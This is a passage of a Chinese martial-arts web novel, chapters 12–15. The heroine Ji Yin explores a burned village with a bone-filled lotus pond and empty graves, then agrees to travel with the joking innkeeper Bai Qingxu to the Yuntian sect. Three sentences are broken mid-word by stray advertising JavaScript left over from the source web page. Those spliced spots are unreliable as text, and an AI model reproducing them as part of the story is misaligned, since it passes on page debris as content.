这一觉睡得极为舒服,待季音再次睁眼,已是三日后。 她缓了片刻,下意识就往屁股摸去。 伤口已经开始愈合,毒也被解了个干净。 “......臭骗子?臭骗子?”她试探性地喊了两声,却无人应答。 所以......是他替自己解了毒?难不成这家伙还真的懂毒? 季音最烦欠人恩情,尤其此番竟欠了这个臭骗子的恩情,实在是令人头大。 因这遭莫名其妙地追杀,又浪费了她几日时间,季音没工夫耽搁,拍拍屁股就准备继续赶路。 那晚在船上逃的太过匆忙,包裹被落在了客舱内。不过幸好银票这种东西她都是随身携带,一路上有吃有喝,倒是顺利入了灵州城。 灵州城位于紫宸东南方,与安阳城接壤。因此地常年碧波环绕,可见柳叶鸣蜩绿暗,荷花落日红酣之景,故而得名“叹红尘”。 不过眼下季音却无心欣赏——她这人自幼方向感极差,东南西北不辨不说,刚刚走过的路转头就能忘得干干净净。加之入城时天色已晚,她两眼一抹黑,彻底迷了路。 偏生这时,她的马像受了什么刺激似的,冲着不远处一条小路便飞奔而去。 一刻钟后,季音总算稳住这匹不听话的野马,停在了一座村庄前。 然而还没等站稳,她便发现不对劲的地方了——这村子四周雾气弥漫,安静得十分诡异,别说没有晚归的庄稼人与下学的孩童,甚至连半个人影儿都瞧不见。 12. 诡村历险 村口杂草丛生,一块石板歪歪扭扭地立在路上。 石板年岁已久,裂痕遍布,枯藤乱叶斜斜从其中钻出,上面刻了三个大字,应当是这村庄的名字。只是前两个字被石块上黑黢黢的痕迹遮掩,已无从辨别,饶是季音再怎么擦拭,也只能勉强认出裂缝下的那个“村”字。 “这石板......被火烧过?” 听下山历练的师兄师姐们讲,灵州城这地方,景色极美,位置极佳,是块人杰地灵的风水宝地。加之五大正派之一的云天派坐镇,亦是不少江湖侠士心向往之的定居之所。 可眼前这村子,地势低洼,霉气萦绕,明明正值暑夏,却阴气森森,无端令人感觉毛骨悚然。 不过季音向来不怕这些,越是有什么地方不合常理,她便越是要探上一探。 一路走下来,若说方才漆黑的石板只是怀疑,那么此刻脚下大片黑红相间、寸草不生的土壤,便是这里曾发生过火灾板上钉钉的证明。 季音抬手抚上面前焦黑的土墙——孤零零一块墙壁风吹日晒,经年累月,长此以往,污渍斑驳,远远望去,倒像是被泼了星星点点的墨。 原本比屋连甍的院落被烧得只余断壁残垣,一片颓势,足可见当年火势之大,撼天动地。 沿着小路继续向前,映入季音眼帘的却是一个开满莲花、白雾弥漫的池塘。 此时正值暑季,莲花满池本不足为奇。可怪就怪在这村子乃是个破落荒村,烧得连个人影儿都看不见,如何莫名其妙栽出来一池莲花? 且说这莲花,也并非寻常白莲或粉莲。红蕊紫瓣,妖冶异常,借着月光更是添了几分诡异。 季音正打算上前仔细查看一番,脚下却踢到了什么东西,低头去看,缘是莲花池周遭的围栏,想是刚经历过一场极为剧烈的打斗,此刻已碎成了好几截,乱七八糟地摔了一地。 她俯身去捡,不料这些看似完好无损的石栏竟瞬间散成了粉末。 能将石头震成齑粉的功力......季音迅速警惕起来,下意识攥紧了手中的飞针。 确定周围并无内力波动后,她寻了根树枝,插入池中搅了起来。 “咔嚓咔嚓......咔嚓咔嚓......” 空灵的碰撞声登时回荡在整个莲花池上空,自池塘中心层层叠叠向外扩散,经久不散。 这响动并不算难听,然而季音的脸却瞬间白了,握住树枝的手就这么僵在了半空。 这个声音......她曾经听过! 冥麟阁五宗之一的影宗,极为神秘,拒迎外宗弟子。传闻当年有个门徒弟子误入影宗,竟被活生生吓出一身病来,送到药宗治了一个月才好,即使治好后也仍时不时蹦出几句胡话。 季音听说后来了兴趣,偏要溜进去瞧上一瞧。可惜刚摸进后山,便被程十鸢逮了个正着,罚了半个月课业才勉强作罢。 只是那日,季音虽未成功混进影宗,却在山门口远远瞥见了一眼。 无数骷髅悬挂在山崖峭壁之上,青森森一片,微风吹过,发出清脆的碰撞声,像是八角风铃。 白骨碰撞,咯吱作响,与眼下莲花池内的声音,别无二致。 可是为什么? 影宗长老池晏殊在冥麟阁乃至整个江湖都享有“性格古怪”“品味独特”的盛誉,门内仅传的三个徒弟也都是手段狠厉,行事乖张之辈,因而影宗会出现这么多尸体,季音一点儿都不觉得奇怪。 但这个村子,被大火烧得残破不堪,人迹罕至,看似风平浪静,实则却是埋骨池中,令人细思极恐。 季音盯着这池子看了半天,突然扔掉树枝,抬手便扯起了一株莲花! 果不其然,这紫红莲花并非长于水下,而是扎根于池中的白骨! 墨绿根茎密密麻麻缠绕在骷髅脑袋上,从眼睛进,自嘴巴出,好似将尸体啃了个干干净净。 季音看得一阵恶寒,反手就将这东西扔了回去。 骷髅脑袋“噗通”落入水中,泛起层层涟漪,荡出了旁边几块阴森森的手骨。 她吸了口气,向着池塘深处走了两步,越往里走,弥漫的雾气便也跟着越发浓重。 一炷香后,季音望着屹立在眼前的一栋旧宅,缓缓停住了脚步。 与村中其他残破不堪的房屋不同,这宅子连同整个院落都没有被大火灼烧的痕迹,相对而言保存的可谓完好。 季音走进院子,四下打量了一番。 虽时隔已久,仅有些枯败的树干,但她仍能勉强辨认出院中曾经种满了梨树。 可奇怪的是,这满院的梨树既不是像遇火焚烧枯萎,也不像是随时间流逝自然腐烂。 与其说无人打理,倒不如说被什么人刻意保持在了如今的模样。 树干上依稀可见极为深邃的剑痕,像是有人经年累月在此地练习剑法。 季音正打算入宅探查,却隐隐约约瞧见一棵梨树下有两处凸起。 半是疑惑半是惊奇,她快步走了过去。 两座被刨开的冷坟——翻出来的土已经发黄发干,像是刨了有段时间了。 季音咽了咽口水,但终究按捺不住好奇,侧身往土坑里面瞅了一眼。 都是空坟,没有尸体,干净得不能再干净了。 “谁这么缺德?刨了人家的坟不说,还把尸体给挪走了?”季音咋了咋嘴,又转身走到坟前,抻起袖子擦了擦满是灰尘的墓碑。 墓碑是用梨木雕刻的,木质纹样极好,能看得出是用心挑选,但上面只简简单单地刻了两个名字:徐君彦,苍溯淮。 季音倒吸一口凉气,惊得连眼睛都不敢眨一下! 因为这两个名字,都是当年叱咤整个紫宸江湖的传说。 无论如何,他们的坟墓都不该出现在这里,尤其是不该同时出现在这里! 徐君彦,云天派前任掌门,亦是上一任武林盟主。曾游历天下各地,通晓古今秘闻。正直内敛,雅正端方,可谓皎皎君子,泽被四方。不仅将自创剑法融于幻境秘门,深化云天派的立世之术,更是曾以一手几近起死回生的医术,替六皇子永逸王除了病根,深得白曦 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 敬重。 至于苍溯淮,江湖游子,无门无派,却天资聪颖,武功卓越,屡屡于江湖上崭露头角。不过此人脾气古怪,往好听了说是性情洒脱,随心而动,其实说白了,就是爱四处打架闯祸,惹是生非。 但奇怪的是,性情脾气如此天差地别的两人,居然成了江湖上人尽皆知的挚交好友——结伴游历,惩恶扬善,盛誉满天下。 可惜好景不长。六年前,隐邺盟盟主苍璐念为夺取四大神器之一的空青扇,将灵州城搅得一片狼藉。偏巧徐君彦因事外出,苍溯淮闻之,为护空青扇,挺身而出,与苍璐念在云天山巅大战了三天三夜。 说起苍璐念,那也是与这两人有些渊源的。听闻她本是街边一个与狗抢食的乞儿,幸得徐君彦与苍溯淮相救,这才捡回了一条性命。苍溯淮更是看她天赋异禀,出于惜才爱才的缘由,收她为义妹,赐名苍璐念,甚至亲自授她武功。 但谁能想到,此等善举,招来的居然是杀身之祸。苍璐念是个狼子野心的角色,觊觎云天派的空青扇不说,甚至对救过自己性命的义兄大打出手,毫不留情。 苍溯淮识人不清,悔恨不已,遂不战自败,殒命于苍璐念剑下。 徐君彦闻此噩耗,匆忙赶回,却连苍溯淮的尸首都没见上。 挚友暴毙,尸骨无存,饶是他再怎么端方雅正,也不可能无动于衷。 彼时他位列巅峰榜第一,真要打起来,苍璐念决计不是他的对手。果不其然,面对怒不可遏的徐君彦,苍璐念节节败退,遍体鳞伤,再无一战之力。 就在众人以为隐邺盟盟主此番必死无疑时,徐君彦却收了手,只将她关押在了云天派水牢。 当年这桩事在江湖上传的如火如荼,就算是远在冥麟阁的季音,也跟师兄师姐们讨论的津津有味。 “徐君彦为何要留苍璐念一命?这不是养虎为患吗?” “你以为谁都跟你一样啊。人家徐君彦是谁?武林盟主,世间正道!就算是面对仇人,也要教化为主,徐徐图之,怎能随意滥杀?” 这话中溢出来的讥讽味逗得季音哈哈大笑——其实也难怪,这要换了她,就算拼上性命,也得把凶手碾成肉酱,报仇雪恨才是,哪有只差临门一剑却停手的道理? 都说好人有恶报,还真是一点儿不假。四年前,徐君彦的死再次轰动了整个武林。这么一个雅正端方的人,最后却被自己的大徒弟何洛闵乱剑砍死,而世人又总喜欢在与他人的比较中获得满足与优越感,一时间落井下石者有之,讥笑嘲讽者有之,或许唯一值得庆幸的便是逝者已逝,耳聋目瞎。 依如今的情况来看,苍溯淮死了,徐君彦也不在了,有人替他们建坟立冢,却也有人刨坟挖尸。 季音望着空空如也的两座冷坟,不免有些唏嘘。 果然,任凭你生前再怎么名声赫赫,死后也不过是一抔黄土。 可究竟是什么人,会将他们一同葬在这个诡村? 千辛万苦盗墓掘坟,又到底意欲何为? 这么想着,她小心翼翼地迈进了宅子。 13. 结伴同行 出乎她的意料,宅内的陈设极为普通,既不是卧石漱雪的演武场,也没有琳琅满目的兵器库,有的只是简简单单一张木桌,两只木凳,一架机杼,一副扁担。 若不是先前在院中瞧见了那两座空坟,季音真要以为这就是一处普通农户的住所。 她又朝里走了两步,发现了一个破破烂烂的木头架子。架子上摆满了泥捏小人,瞧起来像是一位江湖侠士——身穿素袍,美如冠玉,挥剑的动作栩栩如生,活灵活现,仿佛此人就在眼前。 季音望着泥人腰间别着的一束梨花雕饰,啧啧赞叹到:“这手艺,没有几年功夫可练不出来。” 她环顾四周,想找找有没有什么能确认这宅子主人的物件,只是刚一转头,便瞬间寒毛乍起:床头那落满灰尘的柜橱上,赫然放着根燃了一半的蜡烛! 也就是说......这宅子里有人?! 就在此时,屋顶上方突然传来一阵窸窸窣窣的声音! 季音被惊得七荤八素的,嗓子也跟着发紧,赶紧吼了两声替自己壮胆:“什......什么人在上面装神弄鬼?!” 这倒也真不能说她胆子小。一晚上又是鬼宅又是冷坟,再加上阵阵诡异的动静,很难不让她想入非非,一时间话本中看过的魑魅魍魉全都在脑子里闪了一遍。 就在她胡思乱想之际,屋顶上的动静偏却像是故意捉弄她一般,噼里啪啦响得更厉害了! 季音慌得开始满屋子乱转——完了完了,话本中就是这么写的。有些山野精怪——譬如狐狸精,模样俊俏,半夜出没,以蛊魅之术惑人心智,再趁人不备时食脑挖髓,可怕至极! 屋顶之上,紫衣男子皮笑肉不笑道:“她是蚂蚁吗,转来转去的,也不嫌晕。” 他望着面前昏迷不醒的两个黑衣男子:“问天府......啧,这个笨女人,连自己被跟踪了都不知道。” “唉,只是可怜了我这个善人老板,是有家不能回,有酒不能喝啊......” 顿了一顿,他叹道:“不过瞧她怂成这样,今夜估计也不会乱闯了。” 语毕,白清旭点住屋顶瓦片纵身一跃,不见了踪影。 宅内,季音听得头顶动静,咽了咽口水。 ...... 灰尘飞扬,她撒腿就跑:“狐狸大仙我错了!我不是故意打扰您老人家清修的!” 白清旭望着她仓皇逃离的背影,摇了摇头,有些好笑地坐在了两座空坟前。 他泼下壶中剩了一半的酒,轻喟一声道:“死得早,没酒喝啊。” 说罢,他将目光对准了墓碑上雕刻的‘苍溯淮’三字:“师父不饮酒,老滑头,便宜你了。” “早就跟你说过,你这名字取得不好,光改个姓有什么用?烦心事还不是一件没少?” “你俩倒是舒坦,跑来这清净地方逍遥快活,把所有破烂事都丢给我,啧,为老不尊。” 沉默良久,白清旭转身回望:“算起来,时辰也差不多了。” 像是为了印证他说的话,下一瞬,一道惊叫声便自不远处响起。 他敛袖起身:“行了,不说了,新添的麻烦又给我惹麻烦了。” 另一边,季音正被一条麻绳倒挂在树上:“靠!这是谁设的烂陷阱?有没有公德心啊?!” 方才她着急忙慌从屋里冲出来,谁料刚跑了没两步,便一脚踩在了这圈套上。 有一说一,这也确实不能怪她粗心。她本就因心急跑得匆忙,再加上周围黑漆漆一片,能发现有这么个陷阱才是见鬼。 长叹一声,季音认栽,摸出流云飞针开始自救。 “早便听闻灵州城有一道脍炙人口的美食,名为吊烧鸭。” 白清旭双手抱于胸前,缓步走至季音身旁:“笨女人,看来你对这道名菜颇有研究啊。” 季音闻言,先是一愣,旋即怒道:“又是你,臭骗子!” 接连两次暂且不提,为什么每回遇到这家伙时,她都是一副狼狈不堪的模样? “我算是发现了,咱俩八字不合,命里犯冲,一遇到你准没什么好事!”季音倒挂在树上,一张脸憋得通红:“愣着干什么?还不赶紧放我下来!” 白清旭点头:“嗯,说得好。既然冤家路窄,你我还是保持一定距离为妙。” 季音在空中荡来荡去:“你这个臭骗子!我告诉你,这个村子很古怪,有很危险的人在这里,你要是不想死,就赶紧放我下来!” “危险的人?”他环顾四周:“放心,最危险的已经在树上挂着了。” 季音气得咬牙,一时也顾不得脱身了,甩起飞针就要往对方脸上扔。 下一瞬,麻绳应声而断,她一个翻身落在了地上。 白清旭拍了拍手:“十两银子,记得还钱。” 然而季音哪里肯这么容易就放过他,反手便是一掌打出:“说!你为什么在这里?是不是跟踪我?!” 她这番怀疑并非毫无根据。白日里她便总感觉后背发憷,似乎有什么人在暗中盯着她。况且每次一出事必有这家伙的份,想不怀疑到他头上都难。 白清旭旋身闪过,摇了摇手中的折扇:“我若有这闲功夫,赏些好景喝些好酒岂不美哉,跟踪你这个笨女人作何?” “你骂谁笨!”季音面色一黑:“那你说为什么?” 白清旭摊手:“无非是见此处接天通地,风水极佳,因而小憩片刻,沾沾福缘喽。” 她看了看身旁毫无生机的废宅,又望了望不远处两个阴森诡异的空坟:“......你骗人能不能找个靠谱点儿的理由?!” “你看,我实话实说你又不信。唉,做人难啊。” 季音瞪了他一眼,收了手。 这一晚上不是骷髅就是冷坟,弄得她精神紧绷,头昏脑涨。如今好容易遇见个会喘气的,虽说嘴巴毒了些,可好歹能说话,也便放松下来,开始“逼供”。 “上次见面没来得及问,你不是在东豫城开酒楼吗,干嘛跑到灵州城来?” 白清旭道:“实不相瞒,前些日子路遇高人,有幸卜了一卦。他说我武运昌隆,若潜心研习,必将大有建树。” 不祥的预感自季音心中升起:“所以?” “据说位于灵州城的云天派口碑极佳,风景如画,所以......我打算前往云天山拜师学艺。” 季音只感觉一口老血梗在喉中。 夭寿啊,怎么就偏偏跟这家伙撞上了! 白清旭笑道:“笨女人,看你这神情......莫不是也要去云天派拜师?” 靠,被猜中了! 季音连忙干笑两声:“怎么可能,你又不是不知道我的身份。” 白清旭挑眉:“也对,毕竟是冥麟阁的弟子,就算要去云天派,想来也只会冲着空 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 青扇去。” 完了,家底被掏干净了。 她欲哭无泪,只得开始装傻充愣:“啊哈哈哈哈......空青扇?那是什么东西?很值钱吗?” 其实季音这人是很会撒谎的。在冥麟阁,每每早晨赖床逃课被逮时,她总能脸不红心不跳地编出一堆理由糊弄程十鸢。哪怕被拆穿了,她也能一边嘴硬一边替自己圆谎。 许是因为这臭骗子是个说谎高手,在他面前,季音总有种说不上来的感觉。本来邻到嘴边的胡话,不知为何,就是说不自然。 白清旭看着她略显局促的模样,有些好笑地敲了敲折扇。 眼见被看穿,季音也懒得装了,索性摊了牌:“是啊,我就是冲着空青扇去的。怎么,你有意见?” 白清旭唇角一扬,故作为难道:“此番我前来灵州城学艺,走得匆忙,也没来得及带随从侍卫。你既会武功,不如就护我入那云天派如何?” 季音半信半疑地瞥了他一眼:“这算什么,封口费?” 白清旭笑道:“左右你我都要上那云天山,此计岂非两全其美之策?” ...... 也罢,正巧她还没想好要怎么混入云天派。两人结伴,反而能减少嫌疑,不被人怀疑身份。 再说了,反正这家伙不会武功。届时若实在不行......就找个机会做了他! 念及于此,季音欣然应允:“好啊,说定了。” 一时静默。 良久,季音像是突然想起什么似的,从怀中掏出了一只发带。 白清旭显然没料到她会有这番动作,挂着笑容的面颊竟是微不可查地怔愣一瞬。 发带做工粗糙,不算精致,甚至可以说有点儿丑。而之所以能被称为发带,全是因为上面歪歪扭扭地绣了“发带”二字。 不过季音却像是捧着什么宝贝一样,有些不自在地清了清嗓子:“那个......我这人最讨厌欠别人人情,虽然咱俩有不少过节,但你上次救了我,我......我也不是那种不明事理的人,所以咱们一码归一码,就事论事。” 白清旭望着发带,没有动作。 季音挠了挠头:“它的样子确实算不上惊艳,可也不至于丑到吓呆了吧?我第一次缝这玩意儿,本来想留着自己用的,但是......” 她偷偷瞥了对方一眼,却发现他似乎在憋笑,不免有些尴尬:“知道你是个财迷,可我总不能把你给我的银票再还给你吧,那样也太没有诚意了!” 见对方仍没有收下的意思,季音面子上有些挂不住了,嘴巴也开始硬了起来:“不是,我给你东西你还嫌弃上了?行啊,不要就不要,我正好留着自己戴......” 话音未落,白清旭已是抬手将发带拿起:“嘶,是挺丑的,不过......用来辟邪倒也不错。” “什么?!辟邪?!”季音怒道:“真是暴殄天物!” 她看着白清旭:“虽然很不想说,不过......还是谢谢你救了我。” 当着这家伙的面,“谢谢”二字出口,季音总感觉浑身难受,赶紧找补道:“但是,你若再找我麻烦,我还是会毒死你的!” 白清旭点了点头:“不过好像......现在我才是雇主?” 季音:......生活不易,喽啰卖艺。 就这样,两人踏上了前往云天派的道路。 14. 亲自下厨 第一天,季音就差点儿做了白清旭。 真不是她脾气不好——她自知如今身家秘密被人拿捏,说话行事都要收敛低调。否则一旦身份泄露,她能否活着回冥麟阁都是两说,更别提当上精英弟子了。 可才刚入灵州城主城,这臭骗子便吆喝着又累又饿,非要寻个舒坦地方歇脚。 老实说,季音前两天受的伤还没好利索。接连奔波几日,也是又累又困,两个黑眼圈大得吓人。更别提这灵州城的小吃街天下闻名,她早在冥麟阁的时候便心向往之,发誓总有一日要吃遍当地所有美食。 但眼下留给她的时间真不多了。能否成功拜入云天派还是问题,拿到空青扇更是遥遥无期。 季音记得,当年她跟着司玄来到冥麟阁,因是冥麟阁少主亲自带回的人,所以她在司玄身边待了两年后,未经考核,便直接拜入了毒宗长老程十鸢门下。 在不少弟子心中,她一直颇受司玄照拂。且每每闯祸,各宗的师叔师伯也均碍于司玄的面子,睁一只眼闭一只眼便不了了之。 冥麟阁的大家伙儿都差不多,要么是街头孤儿讨份生计,要么是身负血仇脚踏悲歌。既然都没有显赫的家世,也没有稀世的资质,凭什么你就能得阁主青睐,平步青云? 嫉妒此物,说来也怪。有时你并未觉得自己心生妒忌,可说出来的话,做出来的事,却哪里都像是在为自己的妒忌找借口。 季音幼时流浪街头,生得又小又瘦,因而趁司玄不在的时候,很多弟子便会故意来找她的麻烦——像拳打脚踢这些都是家常便饭,更有甚者会趁季音不注意时直接将她推到湖中。 她不是个喜欢给人添麻烦的人,加上司玄总给人以不近人情的感觉,所以就算身上被揍得青一块紫一块,她也从未对司玄提及这事。 可即便到了现在,她有什么秘密也很难瞒过司玄,更别提当年了。 司玄知晓此事后,不仅当众惩处了欺凌她的几个弟子,甚至亲自传授她武功。 一番动作下来,连瞎子都能看出来这是明目张胆的偏爱,故而欺凌之事少了许多。 再后来,季音发现自己学东西极快,且与众人关系越来越熟,日子也便混得愈发如鱼得水。 很多心怀不满的弟子,见她确实天赋异禀,便再无话可说。加之季音这人极讲义气,又是出了名的护短,朋友也就越交越广。 不过即使这样,背地里念叨她的仍有不少。有说她以色示人的,有说她心机深重的,更有甚者,说她不过是司玄豢养的玩物,拿她寻开心用,还真把自己当回事儿了。 对于这些,季音从不惯着。只要让她听见了,有一个算一个,通通下毒伺候。末了人家找上门来时,她还要翻个白眼怼上一句:“怎么,不服就打,随时奉陪。” 只是话虽这么说,亲耳听到的事情,就算她再怎么告诉自己流言蜚语不必当真,十多岁的年纪,又怎么可能真的忍住不去回想。 她不想被司玄看不起。只有当上精英弟子,她才能证明自己,才能离司玄更近一些。 故而到了客栈,季音决定就小眯片刻。之后哪怕白清旭没有休息够,拖也得拖着他上路。 可谁能想到,脑袋刚沾到枕头,她便彻底睡死过去,并且睡得昏天黑地,不省人事。 再睁眼时,整个客房已暗得伸手不见五指。 季音起身,只感觉晕乎乎的,竟忘了自己身处何地,下意识喊了声师姐。 喊完她才想起来,自己已经离开冥麟阁近月余了。 一觉睡到晚上,季音只感觉腹中空空,决定外出觅食。 只是刚下楼,她便瞧见白清旭一人坐在堂内,桌前还摆着琳琅满目的菜肴,似是在等人。 本还埋怨他浪费时间休息,却不想末了竟是自己睡过了头。饶是季音脸皮再厚,此刻也有些不好意思,挠着脑袋坐在了对方面前。 白清旭望着她睡成鸡窝般的头发,笑道:“醒了?” “废话。” 虽然理亏,但在这家伙面前,气势不能输。 季音望着盘中的美食,已是口水直流。不过看到面前坐着的人,她还是强撑着最后一丝理智道:“你请?” 白清旭应声:“你若是想出钱,我自然不介意。” “滚吧。” 季音干脆利落丢下一句,旋即拎了筷子开动了。 她这人在吃上其实不太讲究,只是好辣好咸,比较重口。本以为灵州城这种地方,食物会以清甜淡爽为宜,却不想这一桌都是麻辣鲜香,色亮味浓,极合她胃口。 风卷残云后,季音只感觉整个人仿佛获得了新生:“想不到这里的人也爱吃辣,真是来对地方了!” 她看了看白清旭没怎么动的筷子:“臭骗子,你怎么不吃啊?” 白清旭望着只剩菜汤的盘子:“嗯,不渴。” “我......我这不是怕浪费了这么好吃的菜嘛!”季音赔笑:“要不......再点几盘?” 白清旭眉梢微挑:“你请?” “我吃饱了,告辞。” 白清旭轻笑一声,从怀中掏出两只酒壶:“既然吃饱了,不如再陪我喝上几杯好酒?” 无事献殷勤,非奸即盗! 季音一怔,旋即死死盯住酒壶,目光阴沉道:“臭骗子,你又想耍什么花招?” “怎么会。”他修长的手指拂过酒盏:“尝尝,闻名紫宸的快活水。” “什么?快活水?”季音一脸嫌弃:“这什么破名?” 白清旭感叹:“嘶......你这是什么表情,好丑。” “我丑?”季音冷笑一声,干脆扯出一个更丑的表情:“膈应不死你。” 白清旭:“?” ...... 下一瞬,他似笑非笑地狰狞道:“来啊,谁怕谁。” “靠,我的眼睛!” 见对方毫无收敛之势,季音忙道:“行了行了,你赢了还不行嘛!” 顿了一顿,她又接道:“但我真的不能喝酒。” 倒不是她不想喝。相反,她最向往的便是像话本中的江湖游侠一样,笑饮美酒,仗剑天涯。 坏就坏在,她这人是个一杯倒。 记得那是六七年前,毒宗大弟子罗毅秋游历归来,给自家师弟师妹们带了不少好东西。其中有一件,便是东豫城醉仙小 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 馆的“秋露白”。 醉仙小馆乃天下第一酒铺,最为辉煌之时曾独占紫宸琼浆榜前五个名额。店中酒名大多为‘金盘玉’‘莲子清’这些,一听就是有钱人才会光顾的场所。 至于这“秋露白”,则是霸榜首甲十余年的名酒。听闻此酒仅每月十五有售,且只售一壶,有市无价,凭缘分得,很是稀奇。 当时季音年纪小,几个师兄师姐都有意让她。争来抢去一番,这“秋露白”便落到了她手中。 都说初生牛犊不怕虎。她从未喝过酒,自然也不知道应当慢慢品尝。喝水似的两口下肚,旋即晕倒在地,不省人事。 这秋露白并非烈酒,恰恰相反,柔和绵长。就算是再不会喝酒的人,也不该睡上整整七日。 司玄听闻此事后,手起刀落,直接下令禁了她的酒:“肆意放纵之物,纵可成瘾,瘾不可纵。” 季音本也没觉得酒这东西有多好喝,不能喝便不喝,无甚损失。只是不能像话本中的游侠那般豪饮潇洒,难免有些失意。 白清旭似是看出了她心中所想:“放心,这酒不醉人。” 季音显然不信,接过酒盏扫了一眼:“少胡说了,哪有不会醉人的酒......” 她突然不说话了。 盏中酒色清冽,香气醇而不厚,散而不淡,仅是闻着酒气,便已令人垂涎欲滴。 季音敢打包票,那闻名天下的“秋露白”,与眼前这“快活水”相比,也只能是不过尔尔。 她挣扎片刻,终是没忍住,抿了一小口。 ...... 竟真的没醉! 不仅没醉,酒滑过喉咙的一瞬间,她竟感觉整个脑袋前所未有的清明,甚至周身的气脉运行都顺畅了不少。 季音不信邪,仰头又是一大口下肚。 仍旧半分醉意也没有! “怪了,难不成这几年我酒量变好了?” 白清旭唇角一扬,没有言语。 季音还在一旁不可思议。她本以为自己此生与酒这东西注定无缘了,却不想如今竟真找到一种不会醉人的酒:“臭骗子,你这酒是哪来的?” 白清旭悠悠道:“十两银子。” 季音黑脸;“......奸商。” 见对方不答,她抿了抿唇:“这样,先欠着。” 反正她也还不起。 “此乃独家秘酿,有价无市。” 季音讶然:“你......你自己酿的?!” 虽然很不想承认,但单就他做菜与酿酒的水平来看,这家伙确实有两把刷子在身上。 “你不是开酒楼的吗?怎么还酿起酒来了?” 白清旭摇了摇折扇:“自然是为了赚钱啊。” 季音突然感觉后背有些发凉。 果不其然。 “二十两一壶。”白清旭望着季音面前喝空的两个酒壶:“你我既结伴同行,那便算友情价,五十两银子。” 季音:“......你丫有朋友吗?!” 眼见对方计谋得逞,为了不被继续骗钱,她赶紧转了话题:“对了,关于那个村子......我有些事情想问你。” 15. 金箔之雨 白清旭却像是早已料到她会问什么:“此村名为和柳村。六年前,村中突遭大火,村民伤亡惨重,被迫离乡,时间长了,也便成了荒村。” “突遭大火?”季音蹙眉:“蔓延整个村子的火势......可是人为?” 白清旭道:“说起来,六年前的灵州城确实爆发过旱灾。高温少雨的天气,若说是自然山火,天意使得,倒也不无可能。” 季音又问:“照你所说,当年这些村民都离村避难了,那村中莲花池下的尸体又是怎么回事?” 白清旭似是来了兴趣:“嗯,胆子还挺大。” 季音倒也不谦虚:“那当然。” 白清旭抿了口茶:“和柳村位于灵州城郊,地偏僻,少管辖,又因与安阳城交界,故而村民大多为流离失所的贫苦百姓。” 他顿了一顿:“可这城中最不缺的,便是苦难人。就像今日路边多了一个要饭的,明日街头少了两个乞讨的,谁又发现得了呢。” “所以......”季音讶然:“根本没人在乎这场火如何燃起,村民是否逃离,甚至没人来这村子仔细探一探,发现那一池的尸体?!” 她突然便想起她的七师兄陈三木来——此人虽身习毒宗的制毒暗杀之术,却养了副慈悲心肠,平日里最爱招猫逗狗,甚至将霜余山上的流浪猫都搜罗了来,又是搭窝又是喂食,跟宝贝似的照顾着。 在季音看来,这些猫不论纹样还是模样,都是大同小异,无甚差别。可陈三木却能一只一只分辨得清清楚楚。那大大小小一院子的猫,无论跑了哪只还是添了哪只,他都能第一时间发觉。 流浪猫尚且如此,可活生生的人埋尸池中,腐烂成泥,竟完全无人在意! “灵州城的官员呢,死了这么多人,难道就没有一人报官吗?” 白清旭有些好笑道:“都是些颠沛流离的可怜人,一无父母亲友,二无金钱地位,三无才学见识。找到凶手如何,查明真相又如何?既无利用价值,自然不值得朝廷劳财伤力。” “又或许他们在这世上还有亲戚,可多数亲戚来领尸时,念叨的也不过是‘麻烦’‘晦气’此类。” 他望着季音怔愣的神情,显然猜到了她心中所想,眉尾一扬:“如何,是不是比之魔教之首的冥麟阁,不遑多让?” 季音没有接话。 她想起了在东豫城遇到的杨雯——下落不明,生死不定,杨府上下却坚持找了她整整十二年。 同样是面目全非的尸体,与之相比,莲花池下的那些白骨竟显得格外凄凉。 其实季音下山前曾问过自己,若是将来有一天不小心陷入江湖恩怨,脱身无能时,她该怎么办。 当时她的答案很简单:生前哪管身后事!眼一闭,腿一蹬,死了就死了,没人收尸也无妨。反正烂了臭了,也恶心不着自己。 但其实她知道,或者她相信,程十鸢不会不管她,司玄更不会丢下她一个人。 察觉到对方的目光,季音回神,装出一副不在意的模样:“哼,就这?不过一池子尸体而已,放在冥麟阁,连前菜都算不上。” 说罢,她又似突然想起来什么,有些不屑道:“说起来,这里不是还有那个‘门风正派’‘人心往之’的云天派坐镇吗?江湖上唱着高调的五大正派,难不成也对此事放任不管?” “管了啊。”白清旭语调随意,像是在说什么街头话本:“徐君彦的坟不是都埋在那儿了?” “什么意思,他不是死于何洛闵之手吗,怎么会与和柳村扯上联系?!” 白清旭望着季音眉头紧锁的模样,轻轻一笑,突然抬扇敲了下她的脑袋。 季音被敲懵了,愣了一瞬,旋即拍桌起身,一把揪住了对方的衣襟:“你要死啊?!” ...... 原本嘈杂的大堂登时静得可怕,所有目光几乎同时朝两人递了过来。 季音意识到了,挠了挠脑袋,干笑两声,重新坐回了位置上。 白清旭眉眼含笑:“这才对嘛。” 季音白了他一眼,没好气道:“对什么?” 白清旭却摇着折扇,转身离开:“早些休息,明日还要赶路。”末了,他又着重补了一句:“可别再睡过头了。” “......你这家伙!” 季音本想继续思考和柳村之事,毕竟事情发生在灵州城,又与云天派前任掌门扯上了关系。就传言来看,无论是苍璐念还是何洛闵,都是冲着云天派的空青扇去的。不知为何,她总感觉和柳村发生的诡事,与空青扇脱不了干系。 但方才经那臭骗子一搅,好不容易理清的思绪瞬间乱了套。 要不是考虑到还要靠这家伙带她去云天山,她真想追上去一针毒死他。 第二日,季音站在小吃街上,举着刚出锅的脆皮鸽与梅花糕,咬牙切齿,追悔莫及。 真该昨晚就做了他的! 明明说好直奔云天,绝不在路上耽搁时间。可好死不死,偏巧在饭点的时候路过了小吃街。季音本想掰两块烧饼应付过去,不成想兜还没翻出来,人已经被拉到了街上。 她望着白清旭递来的小食,嘴硬道:“我才不吃。” 白清旭笑道:“没让你吃。” 季音:“?” “怎么,随从不应该帮雇主拎东西吗?” “......所以这就是你拽我来的理由?!” 若只是这样,她咬咬牙也就忍了。可白清旭就跟饿死鬼投胎似的,每路过一个摊子都要停一停。更过分的是,东西买了他却不吃,递给季音后转身就往下一个摊位走。 好啊,故意给她找麻烦是吧! 既然如此,那就别怪她不客气了! 叉烧包......有点儿咸,虾饺......有点儿淡,鸡肉串......好吃! 